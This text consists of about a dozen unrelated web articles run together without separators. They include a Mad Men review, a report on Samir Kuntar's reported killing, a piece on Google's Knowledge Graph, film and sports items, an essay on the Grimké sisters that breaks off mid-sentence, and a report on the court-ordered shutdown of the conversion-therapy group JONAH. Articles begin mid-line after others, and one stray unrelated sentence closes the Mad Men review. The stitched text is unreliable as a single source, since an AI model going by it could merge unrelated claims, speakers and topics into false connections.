“I’m fine. I have work to do,” Peggy tells Stan to end their conversation about her forgotten son, and it sounds like a line she has used on herself before. As long as she finds meaning in her work, she can convince herself that she’s doing okay. That she made the right call. This calculus is what makes her immediate future at McCann so frightening, because McCann threatens to take even more luster off the aspirations that once prompted Peggy to choose the childless path. The legacy she strives to build is haunted by the legacy that she declined in the name of Sterling Cooper.
Stray observations
This is the final version of tonight’s Mad Men review. Because our readers are always eager to read about and discuss the show after it airs, each week I’ll post a review that examines the main storyline of the episode (probably Don’s), and then throughout the night I’ll update the review with analysis of the rest of the show, screenshots, and more Stray Observations from my notes.
Roger raises an almost-empty glass in a belated toast to Bert Cooper. Joan says, “Glad he missed it.” Would the castrated, childless Cooper have been displeased with the end of the Sterling Cooper name? Or would he have appreciated the Randian efficiency of the transaction?
Don asks Pete whether the Secor Laxatives account was “difficult to move.” Pete says, “All I had to do was not make that joke.” Unlike poor, fired Johnny Mathis, Pete knows he can’t pull off Don’s shtick.
When Don starts in on Roger for fooling around with Marie Calvet, Roger has a line ready: “When I married my secretary, you were hard on me. Then you went and did the same thing.” It’s the rare moment when Don is disarmed instead of emboldened by his own hypocrisy.
Roger gets to the bottom of the unpaid-lease mystery, but not before threatening to fire two black staffers. All in a day’s work!
The most important takeaway from this episode is that Lou Avery got the happy ending he wanted. Scout’s Honor promises to revolutionize the anime world.Emerging reports from Syria claim Israel targeted and killed the notorious child murderer Samir Kuntar today (Wednesday).
According to the British-based Syrian Observatory for Human Rights, the Israel Air Force struck a vehicle carrying five fighters loyal to dictator Bashar al-Assad. Three of the passengers were from the Syrian People's Committees, while Kuntar and the fifth person belonged to Lebanese terror group Hezbollah.
Kuntar was born in Lebanon to a Druze family. In 1978 he and three other terrorists from the now-defunct Palestine Liberation Front (PLF) snuck into Israel by boat and attempted to kidnap the Haran family from their home in Nahariya. The wife managed to hide in a crawlspace with the two-year-old daughter, but the husband and four-year-old were taken.
Kuntar and his associates took their hostages to the nearby beach, where Israeli soldiers and police officers encountered them. According to the official account, Kuntar shot the father in the back, then beat the daughter to death.
Back at the house, the wife accidentally smothered the younger daughter to death while trying to prevent her from crying out and giving away their hiding spot.
At the time of the attack, current Palestinian Authority President Mahmoud Abbas was in charge of the PLF.
Kuntar served 29 years in prison before being released in exchange for the bodies of Ehud Goldwasser and Eldad Regev in 2008.In the 1983 sci-fi/comedy flick The Man with Two Brains, Steve Martin played Michael Hfuhruhurr, a neurosurgeon who marries one of his patients but then falls in love with the disembodied brain of another woman, Anne. Michael and Anne share an entirely telepathic relationship, until Michael’s gold-digging wife is murdered, giving him the opportunity to transplant Anne’s brain into her body.
Well, you may not have noticed it yet, but the search engine you use every day—by which I mean Google, of course—is also in the middle of a brain transplant. And, just as Dr. Hfuhruhurr did, you’re probably going to like the new version a lot better.
You can think of Google, in its previous incarnation, as a kind of statistics savant. In addition to indexing hundreds of billions of Web pages by keyword, it had grown talented at tricky tasks like recognizing names, parsing phrases, and correcting misspelled words in users’ queries. But this was all mathematical sleight-of-hand, powered mostly by Google’s vast search logs, which give the company a detailed day-to-day picture of the queries people type and the links they click. There was no real understanding underneath; Google’s algorithms didn’t know that “San Francisco” is a city, for instance, while “San Francisco Giants” is a baseball team.
Now that’s changing. Today, when you enter a search term into Google, the company kicks off two separate but parallel searches. One runs against the traditional keyword-based Web index, bringing back matches that are ranked by statistical relevance—the familiar “ten blue links.” The other search runs against a much newer database of named entities and relationships.
Type in the query “Philadelphia,” and this second search will produce a new “knowledge panel” in the right-hand margin of the results page, complete with a map and other basic facts about the city William Penn founded. (Hedging its bets, however, Google will also include a thumbnail of the movie poster from the 1993 Tom Hanks film Philadelphia.) To use Google’s own description, the new database helps the search engine understand “things, not strings.”
This second brain is called the Knowledge Graph. English speakers began to see the newly supercharged searches that it powers back in May, and last week the service was rolled out to speakers of seven other languages. But the story behind the knowledge panels goes back to mid-2010, when Google bought a San Francisco search startup called Metaweb Technologies and decided to use its massive semantic database, called Freebase, as the nucleus for its own project to approximate the way humans understand the world.
Metaweb’s creation doesn’t boil down to a collection of guesses about how documents are related to one another, the way Google’s other databases do. Rather, it’s a human-curated encyclopedia of verified facts about things in the world and relationships between them—more than 570 million things and 3.5 billion relationships, at last count. (Philadelphia is a city that’s part of a state that’s part of a nation; it has a known population, a typical set of weather patterns, et cetera.)
While the knowledge panels are the most visible manifestation of the Knowledge Graph, the new information is helping to order and rationalize almost everything else Google does. The consequences will be sweeping. While true AI is still a long way off, the Knowledge Graph represents a shortcut to a time when software will be better at meeting, or even anticipating, our information needs. In essence, Google’s engineers are building toward a future when the company’s famous “I’m Feeling Lucky” option is all you need, and the search engine returns the right result the first time, every time.
“This is a baby step toward having an understanding computer,” says Amit Singhal, a senior vice president of engineering at Google and the man with ultimate responsibility for improving Google’s core search algorithms. “Now, when you encounter the letters T-A-J-M-A-H-A-L on any Web page, the computers suddenly start understanding that this document is about the monument, and this one is about the musician, and this one is about a restaurant. That ‘aboutness’ is foundational to building the search of tomorrow.”
In a recent interview with Fortune, Google CEO Larry Page said he’s been pushing for such changes for the last 10 years. “The perfect search engine would really understand whatever your need is,” Page said. “It would understand everything in the world deeply, give you back kind of exactly what you need.”
Of course, Google (NASDAQ: GOOG) isn’t just a search engine—it’s also an advertising marketplace that generated $37 billion in revenue last year, and a media platform (YouTube), and a provider of cloud computing services (Gmail and Google Drive), and the leading maker of browser software (Chrome) and mobile operating systems (Android). Having a search engine that understands “aboutness” at its center will alter this whole empire. There are few hints so far of exactly how, but the changes will likely be at least as far-reaching as previous large-scale overhauls of the company’s core technology.
Principal engineer Shashi Thakur compares the Knowledge Graph project to the introduction of universal search in 2007. That change, which made it possible for the first time for users to search Web pages, videos, maps, images, and books from a single unified interface, resulted in a huge boost to Google’s overall traffic. Ultimately, the Knowledge Graph project could have an even “larger possible strategic impact” than universal search, Thakur says.
Statistical Magic Hits a Limit
In the search business, you couldn’t ask for a better pedigree than Amit Singhal’s. He studied at Cornell with information retrieval pioneer Gerry Salton, who’s been called “the father of digital search” and was himself a student of Howard Aiken, the Harvard professor who designed IBM’s first computer in 1944. After Google recruited Singhal away from AT&T Labs in 2000, his first job was to rewrite Sergey Brin’s original ranking algorithms to go beyond PageRank and … Next Page »
Wade Roush is the producer and host of the podcast Soonish and a contributing editor at Xconomy. Follow @soonishpodcast
Trending on XconomyHere’s how you can get Battlefield 4 and Hardline for $5 each right now
The upcoming Battlefield 1 is shaping up to be one hell of a ride, packed full of all you could ever hope for in a WW1 first-person shooter. Tense and exhilarating vehicle warfare, exploding airships, incredibly fun and rewarding dynamic environments, and so on.
Come October 21st all this can be yours, but that’s a long time away for some people. You might need a little something between now and then to fill that Battlefield 1 shaped gap. It’s OK, we get it.
Which is why we’re glad to inform you that the two most recent iterations in the Battlefield franchise, Battlefield 4, and Battlefield: Hardline, are both available to purchase right now for the low price of just $4.99. Hurry though, the offer only runs from June 14th to June 20th. As seen on the official site:
Battlefield™ 1 is coming later this year, and we’re celebrating by keeping the action going in Battlefield 4 and Battlefield Hardline.
You can head over to the official site now to claim your generously discounted copies. The site includes purchase links for Xbox One, PS4, PS3, and of course, PC via Origin. Once again though, be sure to act fast. After June 20th, you won’t be able to take advantage of the discounts.
Keep an eye on Fraghero for all the best on Battlefield 1 and more.Indian American arrested for paid sex with student
International
oi-IANS
By Ians
Washington, Oct 11: An Indian-American former substitute teacher in Indiana state's Franklin township has been arrested on charges of patronising a prostitute after he paid money for sex with a teenaged male student, a media report said.
Mihirbhai Patel, 24, met the teenaged boy earlier this year on a website. The two arranged to meet for sex at a Whiteland area motel and then at the home of a relative of the boy, the Daily Journal reported on Friday.
According to the prosecutor's office, the boy is between 16 and 18 years. Since a teen older than the age of 16 can consent to sexual activity under state law, Patel won't face charges for sex with a minor, said prosecutor Brad Cooper.
The substitute teacher was arrested on Thursday after the student at identified Patel in a photo lineup.
The boy told police that he and Patel met online in June or July, but he hadn't known Patel's name, according to charging documents.
Both times, the two arranged to meet, and Patel agreed to pay the teen for sex. They met at a motel first, and Patel paid the teen $150.
They met up again at the relative's home east of Franklin, and Patel paid the teen $200 for sex, the charging documents said.
IANSSomehow, President Trump still has access to his Twitter account and he is making waves yet again — this time, through an attack aimed at CNN. The tweet in question features the POTUS wrestling and punching mercilessly a person with the CNN logo superimposed over their face — an insinuation that Trump was beating the media outlet, presumably for a story regarding a former Trump associate that had recently been retracted. Obviously, the tweet garnered outraged criticism from people on both sides of the aisle. But could Trump's wrestling tweet get him impeached?
BBC News reported that the video clip was an edited version of Trump's WWE appearance in 2007, in which he wrestled with Vince McMahon, the owner of the WWE franchise. The scripted fight occurred several years before Trump was inducted into the WWE Hall of Fame in 2013.
The short video reportedly first appeared on a pro-Trump internet forum over the social media site Reddit, where it quickly became one of the site's most popular posts. It has since spread to a number of platforms, including Trump's own Twitter account. After the president retweeted the video, Reddit users expressed their shock at his actions. Perhaps most astonishingly, the video clip was also retweeted by the official presidential Twitter account, @POTUS, which is operated by the White House.
While running for office, Trump used Twitter as a platform to gain public attention and incite passions for his campaign. Many argue that Twitter is what helped him win the election — but it may be the cause for his downfall as well. Romper has reached out to the White House press office for comment and is awaiting a response.
Media personalities and government officials alike have weighed in on the potential repercussions of the video after CNN accused Trump of inciting violence. Ana Navarro, a Republican Trump critic and regular CNN contributor, called it an incitement to violence. He is going to get somebody killed in the media."
Not everyone agrees with the severity of the tweet. Homeland Security Adviser Thomas Bossert, took the tweet much less seriously. "No one would perceive that as a threat," he said.
Trump's wrestling tweet comes shortly after his sexist Morning Joe tweet, in which he insinuated host Mika Brzezinski had been supposedly bleeding from a cosmetic surgery when she met with him over the holidays, and which brought resounding cries for his removal from office. While his critics have called for impeachment a numerous times since Trump took office, they are now citing a little-known clause in the Constitution as a means of having him removed, one that would call into question his fitness to govern.
The clause being examined is the fourth clause of the Constitution's 25th Amendment. This clause allows for the removal of a president who is "unable to discharge the powers and duties of his office." Those proposing the clause as means of dismissal are claiming that his sexist outburst shows his inability to properly govern our nation.
The exact language of the clause is as follows:
Whenever the Vice President and a majority of either the principal officers of the executive departments or of such other body as Congress may by law provide, transmit to the President pro tempore of the Senate and the Speaker of the House of Representatives their written declaration that the President is unable to discharge the powers and duties of his office, the Vice President shall immediately assume the powers and duties of the office as Acting President.
According to Yahoo News, 25 Democrats are backing a bill based on this Constitutional clause that could lead to Trump being removed from office. Specifically, the bill would create an Oversight Commission on Presidential Capacity, which would aim to prove his incompetence. The bill could only lead to dismissal if Vice President Mike Pence signs off on it, along with a majority of either Trump's Cabinet or a majority of Congress.
The requirements for this bill may keep it from achieving its goal. But one thing is for sure: President Trump's social media presence is causing him to lose support from members of both parties and the public alike.Alien misfits play keep away with powerful orb coveted
by a villain in Guardians of the Galaxy
It's a maltese falcon kind of thing, explains the outer-space burglar/salvage man Peter Quill (Chris Pratt). He longs to be known as "Space Lord" because of his boot jets and his helmet with lighted red eyes. Here, then, another lost orphan who is now man-sized, if slightly douchey. (Listening to some bad '80s music on a Walkman—his last legacy of his home on Earth—he shuffles around an archaeological site, kicking cat-sized velociraptors out of his way.) Quill sets up the play. Guardians of the Galaxy is a ball game in which a valuable space orb keeps slipping out of the hands of the home team, ending up in enemy territory.
The orb-dingus is craved by the renegade Ronan (Lee Pace) of the Kree alien race. He's blue-skinned, hooded, sledge hammer-wielding—and uninterested in the Kree Empire's peace treaty with multi-culti planet Xandar. Thus he's gone into fiefdom with one of the universe's reigning badasses, Thanos (Josh Brolin).
Ronan hates planet Xandar. He just does. It looks exactly like Expo '67, complete with the Canadians. There are some shady individuals afoot, hardly noticed until they start shooting: a large, half-bright walking tree named Groot (his four-word vocabulary is voiced by Vin Diesel), and the genetically engineered talking raccoon known as Rocket (Bradley Cooper). They seek the bounty on Quill's head. Eventually, all land in space prison, including Gamora (Zoe Saldana), the lime-green stepdaughter of Ronan. (Her name's pronounced "Gomorrah," though she's chaste as a Mormon). Also attached to the team is a bellicose interstellar Queequeg named Drax (the wrestler Dave Bautista, who looks as surly as Liev Schreiber).
The spotlessly animated space dogfights are exactly as interesting as a well done car chase, which is to say not that interesting, but you can zone out over them, mulling over the film's various info dumps.
Whenever the pace flags, which isn't often, a good actor arrives for such dumps: Benicio del Toro is an effete "Collector." The film's best joke concerns one of his collectibles: the moral is that the dog in the movie always has to survive. Michael C. Rooker plays a viciously hearty, bright blue space pirate. John C. Reilly is a jolly policeman. Dr. Who's Karen Gillan, as the assistant villainess, looks like a living marble sculpture with the wet black eyes of an evil leopard seal. Nova Prime (Glenn Close) Xandar's no-doubt constitutional monarch, shows her authority by dressing like a monorail hostess.
Guardians even brings flair to stuff like the gunning down and zipping up scene; Rocket the raccoon adjusts his little raccoon courting-tackle as he struts in slow-mo. Rocket always steals the show—sleeping in a big, multi-colored snoring pile in prison, he awakes with bed-head, with one fluffy cheek flattened. We were supposed to consider Gamora at least half as cute as he is, but Saldana may have done this kind of role once too often to really wake up for it; she seems to have been made of vinyl from the neck down.
The living toys in Guardians of the Galaxy are badly behaved. Groot the tree-man impales an entire squad of soldiers with one of his branches and then whacks them against the walls of a space ship's corridor—in essence beating them to death from the inside out, a new one. Mission accomplished! Groot gives the camera a Goya-monster grin, the look of a proud toddler caught doing something really awful. "Think of them as paper-people," says Drax, advising the troops of how to treat the enemy before they attack. We're encouraged to get in the spirit of the fun of mindless space mayhem, and to try to believe any one of the gang could be killed. I'd prefer to believe Star Lord could be more magnanimous in victory; his calling the defeated villain "Bitch" stuck in my craw. If, like most of the material in Guardians, Ronan wasn't that original, he was a worthy enough adversary. And Guardians is far more lively than anything in the last three Star Wars; it's far closer in the constellation to the jokey heroism and the deadpan jokes of Joss Whedon's Serenity than George Lucas's New Age sky-piloting.
Guardians of the Galaxy
PG-13; 121 MIN.The American women’s rights movement was born in the bosom of the abolitionist movement. The 19th-century abolitionists and feminists Sarah (1792–1873) and Angelina Grimké (1805–1879) were the first female agents of the American Anti-Slavery Society, as well as pioneers of the American women’s rights movement. Their arguments for women’s rights anticipated many of John Stuart Mill’s arguments in The Subjection of Women. It is interesting that many Muslim feminists in Islamic countries and in the West are now making similar arguments for women’s rights, so I will conclude with a brief discussion of their efforts.
The Grimkés’ feminism arose largely out of the hurdles they encountered as abolitionists. Those hurdles were put up not only by defenders of slavery in the North who profited from the cheap cotton produced by the South, but also by abolitionists who deemed it improper for women to appear on the public stage. They were vilified and even threatened with violence for their public appearances. Their struggle for the right to speak out against slavery publicly shows how radically culture can oppress people even in the absence of legal oppression. Drawing on The Grimké Sisters from South Carolina, by Gerda Lerner, I will start with a brief biographical note on the Grimkés.
Sarah and Angelina Grimké were born into a prominent slave-holding family in Charleston, South Carolina. Their independent spirits were evident even in their early years. Like most children, they hated slavery when they were little. But unlike most children, Sarah and Angelina did not gradually come to accept it as normal. At a young age, Sarah was given a little slave girl of her own as a birthday present. She hated the idea, and treated the girl like a friend instead of a slave. She also violated the law by teaching her to read and write late at night in her bedroom, till she was discovered by her father. When the girl died a few years later, Sarah was inconsolable, to her mother’s great mystification, for weren’t there plenty of little slave girls to replace the one who had died?
When Sarah was 26, she accompanied her ill father to Philadelphia to consult a doctor. There she became acquainted with some Quakers, whose condemnation of slavery revived her anti-slavery sentiments. In 1821, she left Charleston for good for Philadelphia. Angelina, who had often protested against slavery to her mother, joined Sarah a few years later. Both had realized that there was little they could do about slavery as long as they lived in Charleston. After all, they had failed to influence even their own family members. Sarah and Angelina Grimké converted to Quakerism and spent the early 1830s doing social work with the Quakers, before eventually becoming active in the cause of abolition, and then feminism.
Abolitionism and feminism
Their activism started in 1835, when Angelina sent William Lloyd Garrison a passionate letter about the evils of slavery, and expressing her distress at the opposition to abolition in the North, and her appreciation of Garrison for standing up to the mobs and public denunciations. Garrison published her letter in his magazine The Liberator, without her knowledge. That put Angelina squarely in the public eye, and she started attending female anti-slavery meetings and speaking about slavery to women in sewing circles and private parlors. After initially disapproving of her action, Sarah joined her in attending anti-slavery meetings. The Female Anti-Slavery Society had several free colored men and women as members, including Sarah Douglass and her mother, Grace, who became lifelong friends of the Grimké sisters.
In 1836 Angelina and Sarah became the first women to receive training as abolitionist agents at the Agents’ Convention of the American Anti-Slavery Convention. They started giving talks at female anti-slavery meetings in New York, Boston, and surrounding towns and villages. But soon they were addressing mixed audiences at the American Anti-Slavery Society and other organizations, inviting the disapproval of many, including their Quaker friends, their abolitionist friends, and the churches, for their unwomanly activities. Some urged the sisters not to divert attention from the great wrong being done to slaves “in a selfish crusade against some paltry grievances,” a complaint familiar to feminists of every age. To which Angelina replied, “If we have no right to act, then may we well be termed ‘the white slaves of the North,’ for like our brethren in bonds, we must seal our lips in silence and despair.” In the same spirit, John Stuart Mill was to remark many years later, “There remain no legal slaves [in England], except the mistress of every house.”
Angelina believed that women “ought to feel a peculiar sympathy in the colored man’s wrong, for, like him, she has been accused of mental inferiority, and denied the privileges of a liberal education.” On a more theoretical level, she saw that all rights are connected and had the same justification, and hoped that “the ultimate result will be the breaking of every yoke.” The sisters were thus naturally led to join their work on abolition with a crusade for women’s rights.
In 1836, Angelina published An Appeal to the Christian Women of the South, in which she drew upon the Bible to argue that slavery was immoral, in direct contradiction to the Southern clergy’s use of the Bible to claim the exact opposite. One of her arguments dealt with what looked like God’s condemnation of Canaanites to perpetual servitude, an argument that apologists for slavery often used to justify the practice. Angelina argued that God was merely prophesying what would happen, not commanding what ought to happen. After all, the Bible also prophesies sin, without condoning it. Moreover, God gave Adam dominion over all things and animals, but not over other human beings.
Angelina exhorted Southern women to read the Declaration of Independence and the Bible to see for themselves that slavery was wrong, and then to persuade their husbands, fathers, and sons of its evils. After all, she pointed out, British women had spread the gospel of emancipation with their pens, paint brushes, and needles, and helped bring about the Emancipation Bill of Great Britain. And American women were now doing the same in the North.
Unfortunately, Southern women never got to read Angelina’s Appeal, because it was publicly burned by the postmaster of South Carolina. But Angelina’s argumentative strategy was used by Sarah Grimké in her fight for women’s rights. By the late 1830s the Grimké sisters were known not only as abolitionists but also as defenders of women’s rights. Although they were not the first women to lecture publicly on the emancipation of women, they were the first to link emancipation of women to emancipation of slaves, and the first to speak publicly to mixed audiences. They were also more influential than their predecessors.
Their influence, however, was dearly bought. They were often threatened by mobs who threw bricks into the windows of the lecture halls, ridiculed by the media, and denounced by churches. Garrison was the only prominent abolitionist who wholeheartedly supported the Grimkés from the beginning, publishing their letters and appeals for women’s rights as well as for abolition. But Garrison’s promotion of women’s rights within the anti-slavery movement split the abolition movement, because some of his close associates disagreed with the fusion of the two issues.
Like Angelina, Sarah also took her stand on the Declaration of Independence that all humans have an equal right to life, liberty, and the pursuit of happiness, and used the Bible to refute the advocates of female subordination. In her Letters on the Equality of the Sexes (1837), Sarah said that she didn’t trust the King James translation, because it had been translated by men living in a patriarchal culture, so she would use the Hebrew version. (Of course, the Hebrew Bible was also written by men in a patriarchal culture, but perhaps Sarah thought that the translation had added another layer of anti-female bias to the text.)
The Bible presented two main challenges. One was that Eve was clearly inferior to Adam, since it was she who had given in to the serpent’s temptation and, in turn, tempted Adam. Nonsense, replied Sarah, given that Adam simply followed his wife in her transgression! Not exactly an example of strength of mind! The other main challenge lay in God’s seeming commandment to Eve: “Thou wilt be subject unto thy husband, and he will rule over thee” [Gen 3:16]. Sarah met this challenge head-on, arguing, as Angelina had done with the statement about the servitude of Canaanites, that the statement was a prophecy, not a command. She pointed out that Hebrew uses the same word for “will” and “shall,” and translators have simply expressed their prejudices in translating it as “shall.” The Bible also states that Adam and Eve will have to contend with thorns and thistles in their earthly abode. Imagine translating that as a command instead of a prophecy!
Sarah did not ask for special favors for women. All she wanted, she said, was that men “take their feet from off our necks, and permit us to stand upright on that ground which God designed us to occupy.” That would give women the chance to prove that they really were equal. And if they weren’t, they would “soon give evidence of … their inferiority, and shrink back into … obscurity….”
But why go through this rigmarole? Isn’t it obvious that woman is intellectually and morally inferior to men? Well, says Sarah, if she is, it’s because man has “done all he could do to debase and enslave her mind; and now he looks triumphantly on the ruin he has wrought, and says, the being he has thus deeply injured is his inferior.”
The same argument, of course, had been made by slaveholders: look at these people — they are intellectually and morally deficient and not fit for anything else! They are slaves because they are slave-like! Slavery is good not only for us but also for them.
Sarah also pointed out the harm done to women’s intellect and character by the denial of equal rights. “Woman” has become used to being treated like a doll, “a plaything to please his eye and amuse his hours of leisure.” The adage, “Rule by obedience and by submission sway,” teaches women to be hypocrites, to “pretend to submit” in order to gain their point. Women’s loss of the right to property after marriage, and lack of a right to custody of their children, she said, “are one of the greatest outrages,” fostering “loss of self-respect, independence and degradation.” The men, for their part, shut “themselves up in the self made circle of their superiority.”
In his three autobiographies and other work, Frederick Douglass made similar arguments about the negative effects of slavery on the character of both slaves and slaveholders.
To women, Sarah said: Stop going along with your own degradation and realize that “whatsoever it is morally right for a man to do, it is morally right for a woman to do.” Inequality of rights “creates antagonism” between the two sexes, equality will bring them closer together. Further, equal rights to person and property “will release woman from the horrors of forced maternity.”
The historian Gerda Lerner claims that “forced maternity” is a euphemism for marital rape, an issue common among 19th-century feminists. It’s sobering to recall that marital rape was criminalized in all 50 states of the United States only in 1993.
John Stuart Mill was later to give many of the arguments that Sarah Grimké first gave for women’s liberation in The Subjection of Women: recognizing women’s equal rights would allow women to show that they were not inherently inferior to men, whatever inferiority they exhibited as a group was due to their oppression, and such oppression harmed women’s characters as well as those of men, who were given to self-worship and a self-deluded sense of superiority just for being men. Mill also argued that, since women had no right to refuse to have sex with their husbands, they were sexual slaves. All this added up to marriages devoid of true intimacy and friendship.
Moral concerns
An important aspect of the Grimkés’ fight for equal rights is that it was grounded in their |
that he’ll call off Justice Department watchdogging of police departments, which could encourage more aggressive responses. He could ramp up the spying and data collecting on protest groups that the federal government has already been doing for decades. He could halt the federal funding that currently promotes community-oriented policing and begin funding more aggressive, reactionary policing.
I’ll stop there. I’d hate to give him any ideas. But this is clearly a priority. It’s one of the six policies he posted immediately after taking office.
As Trump has done all campaign, to demonstrate why we need a “law-and-order” administration, the White House then cherry-picks a year of crime data to paint a portrait of, as Trump put it in his speech today, “American carnage.” Of course, while it’s true that violent crime has gone up over the past two years, the increase was mostly driven by sharp spikes in a handful of large cities. Even with that increase, the overall violent crime rate is about where it was in 2012, and remains near historic lows. (By the way, the violent crime rate in Canada also began a slight increase in 2015, also after a long decline.) One other interesting statistic: Even with the spike in some large cities, of the 11 states with the highest violent crime rates, eight are Republican-led (Alaska, Tennessee, Louisiana, Arkansas, South Carolina, Missouri, Alabama, Florida), most with the kind of pro-police, law-and-order policies Trump supports. (Two of the other three — Nevada and New Mexico — are toss-up states.)
Thanks no doubt in large part to Trump, there is a perception that crime is getting worse. Last year, a Gallup poll found that the percentage of Americans worried about crime was at a 15-year high. But Gallup has been tracking opinions about crime in other ways that are instructive for comparing fear of crime with actual crime.
In the most straightforward question, Gallup asks if Americans think crime in the U.S. gotten better or worse than the previous year. Year after year, most Americans always think things have gotten worse. Even as the crime rate reached historic lows in the late 2000s and early 2010s, 60 percent or more still thought things were getting worse. In the most recent poll, taken last October, the figure was at 70 percent.
But there’s another question that better measures of how crime affects people day to day:
Is there any area near where you live — that is, within a mile — where you would be afraid to walk alone at night?
The percentage answering “yes” to this question is always much lower. It usually ranges from the low 30s to the mid-40s. This gap — how safe Americans feel themselves vs. how safe they presume everyone else to be — is a pretty good indicator of how successful politicians, the media, and pop culture have been at ginning up unnecessary fear of crime. The gap is typically around 20 points. Since October 2015 — about the time Trump began demagoguing crime and pulling away from the GOP field in primary polling — the gap has been 35 points. That’s the highest it’s been since October of 1993.
One final note: As Trump’s administration grinds on, he’ll face a growing incentive to begin to massage the numbers the other way. He’ll want to show that his policies are working, and that crime is in retreat. I give it nine months before he’s touting a drop in crime, regardless of what the numbers say.EXCLUSIVE: This is the dream of every public access show: New York’s cult weekly program The Chris Gethard Show will be making the leap from the local Manhattan Neighborhood Network to Comedy Central. The cable network has ordered a pilot for TCGS, a live, interactive call-in show with roots at the UCB Theater NY, which blends talk, variety and game elements. It will be produced by Funny Or Die, looking to repeat the success it’s had with another Comedy Central talk show, new late-night entry @midnight, which was just picked up for 40 weeks. Brillstein Entertainment Partners is co-producing, with Gethard and Zach Galifianakis exec producing alongside Funny Or Die’s Will Ferrell, Owen Burke, Adam McKay and Mike Farah as well as Brillstein’s Brian Stern. TCGS, whose episodes often are based on original bits, has featured such guests as Galifianakis, Sean Combs, Seth Meyers, Amy Poehler, John Mulaney, Bobby Moynihan and Andrew WK. The show also is known for championing the Brooklyn music scene and New York’s fringe artists and oddballs.
Related: Comedy Central’s Digital Development Studio Unveils Slate
Said Funny Or Die: “This is awkward to admit, but Adam and Will have no idea who Chris Gethard is. Just heard a lot of buzz about him. And if there’s one thing Adam and Will do, it’s follow buzz. Have you heard about this whole energy drink thing?” Ferrell and McKay, of course, know Gethard well — he starred in their Comedy Central series Big Lake. Here is a highlight reel of some TCGS‘ bits, guests and music performances. Gethard is repped by Gersh, attorney Isaac Dunham and Brillstein.U.S. Grand Prix winner Lewis Hamilton says he is determined to inflict years of misery on Formula One rivals Sebastian Vettel and Ferrari.
Hamilton is on the verge of clinching his fourth F1 world championship title, following his victory over Vettel on Sunday in Austin, and he can wrap up the title as early as next weekend's Mexican Grand Prix, providing he finishes inside the top five.
His fifth win at the Circuit of the Americas sealed a fourth consecutive constructors' title for Mercedes. While he has previously admitted that he is a fan of Ferrari, Hamilton, who is expected to commit to a new deal with the Silver Arrows -- his current contract is set to expire at the end of 2018 -- says he is only interested in racing for a team that makes him feel wanted.
"I do see the red car, and I am a fan of the company and the brand," Hamilton said in an interview with The Sun. "It would be an honour for any driver to race those cars, but it has not been an option. If Ferrari wanted me, they would have approached me. I want to work with people who want me. If they don't want me, it is no problem.
"I am happy to make their life a misery for the next few years. Sebastian just re-signed, so for me and Mercedes, our goal is to make him and Ferrari unhappy for the next three years!"
Lewis Hamilton has one hand on the 2017 F1 title after beating Sebastian Vettel to victory in Austin. Clive Mason/Getty Images
Having remained relatively tight-lipped on the subject of the pair's controversial collision under the Safety Car during June's Azerbaijan Grand Prix, the Briton revealed what he made of Vettel's actions in Baku.
"How Sebastian behaved in Baku and what he does has no bearing on me or how great I can be. I know where I stand in terms of being a competitor to him, and I think he knows it, too. There is always respect. I don't think, 'You did this to me.' It's not important.
"It goes back to when I was a kid. I'd get a lot of racism. I wanted to knock the kid out who said stuff, but my dad would always say, 'Do your talking on the track Beat the kid, and that is more powerful.' Actions speak louder than words. Win the championship, and that will silence him."
But Hamilton, who is now 66 points clear in the drivers' standings with only 75 points left available, insists he is not letting himself get carried away with the thought of sealing the championship with two races to spare.
"I don't really let my mind get there. At the moment, I'm just focused on winning, clearly, and I'm enjoying driving more than ever. I just really... the challenge, the pressure's intense. Just always want to elevate yourself and shine brighter each time you get in the car."There are eight ways to combine three characters. Six if you ignore combining none of them or all of them. A hexafusion shows all six of these. There are 32 ways to combine five characters, or 30 if you ignore none and all of them. Thus I present: Triacontafusion.
Hexafusions tend to have pairs of the originals fuse, and then the resulting fusions fuse again instead of just showing the original three fusing, so that's what I did here, but on a larger scale. The level one fusions are fused from the base characters, the level two fusions are fused from the level one fusions etc.
Download for full resolution. PM me if you want the original SVG.
This is my second Triacontafusion, using the Crystal Gems.Fan fusions by in the FanFusions gallery. I got the canon ones from the wiki, and Rose Quartz is by DaviBRSparkle, Garnet is by AKA Kmes the Awesome JJ and the rest are by LenhiNEWARK, N.J. -- A New Jersey nonprofit found to have violated consumer fraud laws for offering therapy it said would turn gays to heterosexuals must shut down, a judge ordered Friday.
The granting of a permanent injunction against Jews Offering New Alternatives for Healing, known as JONAH, was an outgrowth of a lawsuit filed against the group in 2012 by several men, and two of their mothers, claiming it engaged in fraud and made claims it couldn't back up.
In June, a Hudson County jury awarded the plaintiffs about $72,000 in damages.
The ruling signed Friday by state Superior Court Judge Peter Bariso ordered Jersey City-based JONAH to cease all operations within 30 days and barred it from "engaging, whether directly or through referrals, in any therapy, counseling, treatment or activity that has the goal of changing, affecting or influencing sexual orientation,'same sex attraction' or 'gender wholeness.'"
Bariso's order also awarded attorneys' fees and expenses to the plaintiffs' lawyers.
David Dinielli, an attorney for the men, said the decision sends a message to providers of so-called gay conversion therapy that the practice is fraudulent.
"The practice of conversion therapy, at base, constitutes fraud," he said. "It is premised on the lie that homosexuality is a disease or disorder. This case proved it to be a lie."
California bans "gay cure" therapy
During the trial, JONAH officials claimed they did not make guarantees to clients and that they should be allowed to offer help to people struggling with their sexual orientation.
"It is sad that so many are celebrating the government's power to stop willing clients from working with willing counselors to lead their lives on Biblical principles," Charles LiMandri, an attorney who represented JONAH, said in an email Friday. "Despite the many grounds for appeal, the financial risks to my client, who has never made any personal profit out of volunteering to help men troubled with unwanted same-sex attraction, made this deal necessary."
"The plaintiffs became aggressors after they left JONAH to destroy JONAH," LiMandri said during the trial.
The four original plaintiffs in the lawsuit who underwent the therapy -- one ultimately dropped out of the suit -- alleged the nonprofit exploited them with false promises as they struggled with their same-sex attractions in strict religious environments where they were expected to marry women and have children.
One testified his therapy included hitting a pillow, meant to represent his mother, with a tennis racket. He said he was told his mother was the cause of his homosexuality, prompting him to temporarily cut off all communications with her.
"My clients needed help but JONAH lied and JONAH made it worse," Dinielli told jurors during the trial. "All they got was junk science and so-called cures."
Gov. Chris Christie signed a law in 2013 banning licensed therapists from practicing conversion therapy in New Jersey. Two court challenges to the ban, one by a couple and their son and one by a group that included two licensed therapists, were dismissed by a federal judge. Those decisions were later affirmed by a federal appeals court.
